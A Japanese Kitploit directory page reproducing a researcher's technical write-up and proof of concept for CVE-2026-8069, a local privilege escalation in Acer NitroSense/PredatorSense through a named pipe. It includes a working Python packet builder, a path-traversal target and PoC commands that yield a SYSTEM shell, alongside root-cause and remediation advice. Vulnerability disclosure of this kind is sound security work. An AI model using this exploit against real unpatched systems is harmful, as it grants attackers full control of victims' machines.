Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-8069 — CVE-2026-8069の技術解説と概念実証。Acer NitroSenseおよびPredatorSenseサービスにおけるローカル権限昇格であり、名前付きパイプを悪用してSYSTEMとして任意のコードを実行するものです。 | Kitploit
ツール/GitHubGitHub/s1eezer/cve-2026-8069
特権昇格エクスプロイトフレームワーク脆弱性分析エクスプロイトリバースエンジニアリングバイナリ解析
GitHubs1eezer/cve-2026-8069

CVE-2026-8069

CVE-2026-8069の技術解説と概念実証。Acer NitroSenseおよびPredatorSenseサービスにおけるローカル権限昇格であり、名前付きパイプを悪用してSYSTEMとして任意のコードを実行するものです。

リポジトリを見る
1320日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Acerの名前付きパイプからNT AUTHORITY\SYSTEMへ: CVE-2026-8069

Acer NitroSenseおよびPredatorSense 3.xは、PSSvcというWindowsサービスをインストールし、ローカルユーザーにカスタム名前付きパイププロトコルを公開していました。あるプロトコルコマンドは、呼び出し元が制御する実行可能ファイルのパスを受け入れ、winlogon.exeのトークンを複製し、その実行可能ファイルをNT AUTHORITY\SYSTEMとして起動していました。

脆弱なサービスにおけるパス制限は、部分文字列テストでした。サービスディレクトリ内で始まり、その後..\コンポーネントを使用するパスはテストを通過しましたが、別の場所に解決されました。パイプの緩いアクセス制御と呼び出し元の認可の欠如と組み合わさることで、標準的なローカルユーザーがSYSTEMプロセスを取得できるようになりました。

AcerはCVE-2026-8069を割り当て、修正版を公開し、セキュリティアドバイザリでフラデツ・クラロヴェー大学のArtem Domarev氏をクレジットしました。

この記事は、プロセス作成/LPEの経路に焦点を当てています。Acerのアドバイザリは任意のファイル削除についても説明していますが、これは今回の検証の範囲外でした。

この研究の方向性を選んだ理由

研究の方向性の選択は、SensePostのLeon Jacobs氏が公開したOEMソフトウェアの公開分析にも影響を受けました。その研究は、ASUS DriverHub、MSI Center、Acer Control Centre、Razer Synapse 4の脆弱性を文書化したものです(Jacobs, 2025)。ベンダー提供のハードウェアユーティリティが、意味のある未開拓の攻撃面を露出させ得るという考えを強化しました。Acer Control Centreを再調査するのではなく、調査を別のAcer製品ファミリーであるNitroSenseとPredatorSenseに拡張しました。

エグゼクティブサマリー

悪用チェーンは短いものです:

root@kitploit:~
認証済みローカルユーザー
        │
        ▼
緩いアクセス制御のPSSvc名前付きパイプ
        │  カスタムコマンド 0x0007
        ▼
部分文字列のみのパスチェック
        │  service-dir\..\..\..\Windows\System32\cmd.exe
        ▼
アクティブセッションのwinlogon.exeトークンの複製
        │
        ▼
CreateProcessAsUserW → NT AUTHORITY\SYSTEM

バージョン番号に関する警告

公開されている表現には不整合があります。Acerのページでは、NitroSenseの「3.01.3052より前」のバージョンが影響を受けると述べていますが、この記事でテストしたベンダー署名済みのPSSvc.exeバージョン3.1.3052.0は明らかに脆弱です。同じページでは、NitroSense 3.01.3056が修正版として特定されています。NVDの適用範囲も3.01.3056まで(ただし含まない)に及びます。

PredatorSenseについては、Acerの影響を受けるバージョンの記述は3.00.3196の前で止まっていますが、記載されている修正版は3.00.3198であり、NVDは後者を上限として使用しています。

したがって、保守的な運用ルールは単純です。曖昧な「影響を受ける」という記述をパッチチェックとして使用しないでください。Acerが指定する修正版—PredatorSense 3.00.3198またはNitroSense 3.01.3056—またはそれ以降のモデル互換パッケージにアップグレードしてください。

テストした成果物

この問題は、オリジナルのNitroSenseパッケージで再現されました。

PSSvc.exeのAuthenticode署名は正常に検証され、Acer Incorporatedにチェーンされました。MSIはPSSvcをLocalSystemとして実行される手動開始・独自プロセスサービスとしてインストールしました。

脆弱なパスを見つけた方法

1. 特権サービスから始める

NitroSenseパッケージは以下をインストールします:

root@kitploit:~
SERVICE_NAME: PSSvc
DISPLAY_NAME: Predator Service
TYPE:         WIN32_OWN_PROCESS
START_TYPE:   DEMAND_START
ACCOUNT:      LocalSystem

SYSTEMサービスが自動的に脆弱というわけではありません。重要な質問は、低権限のプロセスが、呼び出し元が信頼されているという前提で設計された機能に到達できるかどうかです。

文字列分析により、IPCエンドポイントがすぐに明らかになりました:

root@kitploit:~
\\.\pipe\predatorsense_service_namedpipe

2. 名前付きパイプのセキュリティ記述子を検査する

0x140014AD0で、サービスはパイプを構築し、明示的なセキュリティ記述子をCreateNamedPipeWに渡します:

root@kitploit:~
D:(A;OICI;GA;;;BG)(D;OICI;GA;;;AN)(A;OICI;GRGWGX;;;AU)(A;OICI;GA;;;BA)

これは明示的に訂正する価値があります。脆弱なビルドはNULL記述子を渡しません。緩いDACLを作成します。

AU ACEは、通常の認証済みユーザーがパイプを読み取りおよび書き込み用に開くのに十分です。サーバーはその後、クライアントを偽装して特権コマンドをディスパッチする前に認可判断を行うことはありません。

3. ワイヤーフォーマットを復元する

0x14000ABB0のクライアントスレッドは、メッセージを512バイトのバッファに読み取ります。最初の3バイトを16ビットのコマンド番号と8ビットの引数カウントとして解析します。各引数は長さプレフィックス付きです:

root@kitploit:~
オフセット  サイズ  意味
0x00    2     コマンドID、リトルエンディアン
0x02    1     引数の数
0x03    4     引数0の長さ
0x07    n     引数0のバイト
...           繰り返しDWORD長さ+値

文字列引数はUTF-16LEです。整数引数はリトルエンディアンのDWORDです。ディスパッチャーは0x23未満のコマンドIDを受け入れ、それらを0x140052C90の35エントリの関数テーブルへのインデックスとして使用します。

コマンド0x0007のエントリは0x14000BFD0を指します。

4. コマンド0x0007を追跡する

セキュリティ関連の動作に簡略化すると、ハンドラーは次のようになります:

root@kitploit:~
int command_07(parsed_arguments *args)
{
    wchar_t service_directory[MAX_PATH];
    wchar_t *requested_path = args->wide_string[0];
    uint32_t mode = args->dword[1];

    GetModuleFileNameW(NULL, service_directory, MAX_PATH);
    PathRemoveFileSpecW(service_directory);

    if (wcsstr(requested_path, service_directory) != NULL)
        return launch_with_selected_token(requested_path, mode);

    return 0;
}

wcsstrは、ある文字列が別の文字列内に存在するかどうかのみを答えます。パスを正規化したり、ドットセグメントを解決したり、ファイルを開いたり、最終オブジェクトが信頼されたディレクトリの下に残ることを証明したりしません。

サービスが以下にインストールされていると仮定します:

root@kitploit:~
C:\Program Files\Acer\NitroSense_Service

次のパスはオフセット0にそのディレクトリを含むため、wcsstrは成功します:

root@kitploit:~
C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe

Windowsはドットセグメントを以下に解決します:

root@kitploit:~
C:\WINDOWS\System32\cmd.exe

これは古典的な正規化エラーです。検証はあるテキスト表現に対して実行されますが、機密操作はその正規化された意味を消費します。

5. トークンブランチを追跡する

0x1400091F0のプロセス起動ヘルパーには、2番目の引数が0x72(10進数114)の場合に特別なブランチがあります。それは:

  1. アクティブなコンソールセッションIDを取得します;
  2. アクティブユーザーのトークンを照会し、環境ブロックを作成します;
  3. CreateToolhelp32Snapshotでプロセスを列挙します;
  4. アクティブセッション内のwinlogon.exeを特定します;
  5. プロセスとそのトークンを開きます;
  6. トークンをプライマリトークンとして複製します;
  7. 複製したトークンを高整合性に設定します; そして
  8. 呼び出し元が指定したパスをwinsta0\defaultで起動します。

テストしたバイナリの重要な呼び出しサイトは次のとおりでした:

つまり、コマンド0x0007は単にサービスに自身の信頼されたツールの1つを起動させるだけではありません。通常のユーザーがアクセスできるパイプに、一般的なSYSTEMトークンのプロセスランチャーを公開しています。

PoCの構築

必須のパケットビルダーは小さいものです:

root@kitploit:~
import struct

def build_packet(command_id, *arguments):
    packet = struct.pack("<HB", command_id, len(arguments))
    for argument in arguments:
        if isinstance(argument, str):
            argument = argument.encode("utf-16-le")
        elif isinstance(argument, int):
            argument = struct.pack("<I", argument)
        packet += struct.pack("<I", len(argument)) + argument
    return packet

service_dir = r"C:\Program Files\Acer\NitroSense_Service"
target = service_dir + r"\..\..\..\WINDOWS\System32\cmd.exe"

# ハンドラーはパス、トークンモード、および追加の8つのスロットを期待します。
packet = build_packet(0x0007, target, 0x72, *([b"\x00" * 4] * 8))

完全な検証スクリプトは、CreateFileWでパイプを開き、メッセージモードを設定し、このパケットを送信し、サービスの応答をデコードします。ハードコーディングする代わりにインストールされたサービスパスを検出し、何かを送信する前に正規化されたターゲットをチェックします。

この記事で使用した完全なスクリプトは、acer_cve_2026_8069_poc.pyとして利用可能です。

再現

ステップ1: 脆弱なビルドをインストールする

ベンダーのSetup.exeはハードウェアチェックを実行し、プライベートなMSIプロパティを提供します。NitroSense.msiを抽出し、.NETブートストラッパーからそれらのプロパティを復元しました:

root@kitploit:~
$arguments = @(
  '/i', 'C:\Lab\NitroSense.msi',
  'BOOTSTRATOR=1', 'ISDT=0', 'RGBKB=0', 'ICPU=0',
  'BRAND=0', 'ACER=1', 'BRANDNAME=Acer',
  'GPRODUCTNAME=NitroSense_Service',
  '/qn', '/norestart',
  '/l*v', 'C:\Lab\install.log'
)

Start-Process msiexec.exe -ArgumentList $arguments -Wait

これらのプロパティは、環境チェックに合格しないハードウェア上でブートストラッパーのインストールパスを再現します。

インストール後、ファイルバージョン、SHA-256、署名を検証し、手動開始サービスを起動しました:

root@kitploit:~
sc.exe qc PSSvc
sc.exe start PSSvc

ステップ2: 標準のローカルアカウントを使用する

リクエストは、中整合性で実行されている標準の非管理者ローカルアカウントから送信されました。

ステップ3: コマンド0x0007をトリガーする

そのアカウントから:

root@kitploit:~
py .\acer_cve_2026_8069_poc.py --exec-test --target cmd.exe

サービスは以下を返しました:

root@kitploit:~
[PASS] Connected
[INFO] Sending CMD 0x0007: path='cmd.exe', mode=0x72
       Packet size: 227 bytes

Raw response: 010400000001000000
Return code: 1

[CRITICAL] PROCESS CREATED SUCCESSFULLY

ステップ4: 独立して検証する

PoCの成功メッセージはそれ自体が証明ではありません。結果のプロセスを管理者の証拠チャネルから独立して照会しました:

root@kitploit:~
Parent      : PSSvc.exe
Session     : Interactive
Owner       : NT AUTHORITY\SYSTEM
CommandLine : "C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe"

SYSTEMシェルは、インタラクティブセッション内のPSSvc.exeの直接の子プロセスであり、トラバーサルパスがコマンドラインに保持されていました。

また、成功したリクエスト中にサービスAPIをトレースしました。トレースは、アクティブセッション1、成功したWTSQueryUserToken、プロセススナップショット、セッションのwinlogon.exeに対するOpenProcess、成功したDuplicateTokenEx、整合性トークンの変更、およびプロセス起動ヘルパーからの成功リターンを記録しました。

オリジナルのPoC録画は、NT AUTHORITY SYSTEMが所有するcmd.exeと、whoamiがnt authority\systemを返すことを示しています。

SYSTEMシェルを示すPoC録画。

根本原因

これは単一の孤立した不適切な比較ではありませんでした。悪用にはいくつかの信頼の失敗が連鎖する必要がありました:

  1. パイプのDACLが認証済みユーザーに読み取りと書き込みを許可していました。
  2. サーバーは、クライアントを認証または認可せずにカスタム特権コマンドを受け入れました。
  3. 実行可能ファイルの許可リストは、正規のパス検証ではなくwcsstrで実装されていました。
  4. コマンドは、高度に特権化されたwinlogon.exeトークンを意図的に複製するコードを公開しました。
  5. 呼び出し元は、最終的にプロセス作成に渡されるアプリケーションパスを制御しました。

最後の4つのリンクのいずれかを削除すれば、このLPE経路を防げたはずです。多層防御はそれらすべてを削除する必要があります。

修復ガイダンス

Acerがサポートする修復方法は、PredatorSense 3.00.3198、NitroSense 3.01.3056、またはそれ以降に更新することです。ベンダーアドバイザリに記載されているように、マシンのシリアル番号またはSNIDに対応するAcerが提供するパッケージを使用してください。

特権Windowsサービスの開発者にとっての広範な教訓は次のとおりです:

  • パイプには、通常はサービス固有のプリンシパル、SYSTEM、管理者のみに、可能な限り狭いACLを付与します。すべての認証済みユーザーには付与しないでください。
  • 各クライアントを認証し、各コマンドを認可します。パイプへのアクセスだけでは認可判断にはなりません。
  • 誰が要求しているかを評価する際はパイプクライアントを偽装し、文書化されたポリシーを適用します。
  • 検証前にパスを正規化して解決します。パスコンポーネントを正しい境界と大文字小文字の規則で比較し、再解析ポイントとリンクを考慮します。
  • 呼び出し元が制御するパスよりも、不変の実行可能ファイルIDの許可リストを優先します。
  • 汎用のローカルIPCディスパッチャーを通じてトークン複製や任意のプロセス作成を公開しないでください。
  • 拒否されたコマンドとセキュリティ関連の呼び出し元情報を、秘密を記録せずにログに記録します。

開示のタイムライン

日付イベント
2026-02-19脆弱性レポートを作成し、Acerに提出。
2026-05-08CVE-2026-8069がCVE/NVDエコシステムで公開。
2026Acerがアドバイザリを公開し、研究者をクレジットし、修正版のPredatorSenseおよびNitroSenseリリースを指定。
2026-08-28この記事のための独立した再現が完了。

最終的な考察

ローカル名前付きパイプは、信頼された境界と誤解されがちです。それらは単なるトランスポートメカニズムです。SYSTEMサービスがコマンドディスパッチャーを公開する場合、そのパイプACL、呼び出し元の認可、引数の検証、特権実装のすべてがセキュリティ境界の一部になります。

ここでは、緩いパイプがトークン複製ルーチンに到達し、部分文字列チェックがパスの包含関係の代わりをしようとしました。結果は、標準的なローカルユーザーからNT AUTHORITY\SYSTEMへの信頼性の高い遷移でした。

参考文献

  • Acer: PredatorSenseおよびNitroSenseソフトウェアv3セキュリティ脆弱性情報
  • GitHub Advisory Database: CVE-2026-8069 / GHSA-67h9-58cf-72hp
  • NVD: CVE-2026-8069
  • CVE.org: CVE-2026-8069
  • Jacobs, L. (2025, July 24). Pwning ASUS DriverHub, MSI Center, Acer Control Centre and Razer Synapse 4. SensePost.

ライセンス

この記事とオリジナルの研究メディアは、Creative Commons Attribution 4.0 Internationalの下でライセンスされています。PoCソースコードは、MIT Licenseの下でライセンスされています。範囲とサードパーティの除外については、LICENSE.mdを参照してください。

ツールをダウンロード
項目結果
CVECVE-2026-8069
テストした脆弱コンポーネントPSSvc.exe 3.1.3052.0、Acer Incorporatedによる署名
サービスIDLocalSystem
IPCエンドポイント\\.\pipe\predatorsense_service_namedpipe
脆弱なコマンド0x0007
必要な攻撃者のアクセスプログラムを実行できる認証済みローカルユーザー
ユーザー操作なし
結果NT AUTHORITY\SYSTEMとして任意の実行可能ファイルが起動
NVD CVSS v3.17.8 High — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
修正版PredatorSense 3.00.3198; NitroSense 3.01.3056
成果物SHA-256
NitroSense_V3.01.3052_MSFT_SIGNED_20230420.zip947FB7C62665875450AFA9C9E7919D2B061ED8197C11B28D64781F121B30C157
NitroSense.msi6F9D405B6D2ADF2992C4E071453AD2C919A6DD38A89A31EF96EAFE81C50A745C
インストール済みPSSvc.exe 3.1.3052.03BA836B6A5D95B55708E771B74F49098F58B096EF1F63C5CCAE355811E193A40
検証に使用したPoC31BC81140BAB64A8B0CB70ACC1C2CF3CA84A7B00015E5610AC075DC50DCB0163
SID略語プリンシパルSDDLでの実効権限
BG組み込みのGuests全般アクセス
AN匿名全般アクセス拒否
AU認証済みユーザー全般読み取り、書き込み、実行
BA組み込みのAdministrators全般アクセス
操作アドレス
CreateToolhelp32Snapshot0x140009298
OpenProcessToken0x140009346
DuplicateTokenEx0x1400093B0
CreateProcessAsUserW0x1400094BF / 0x1400094C7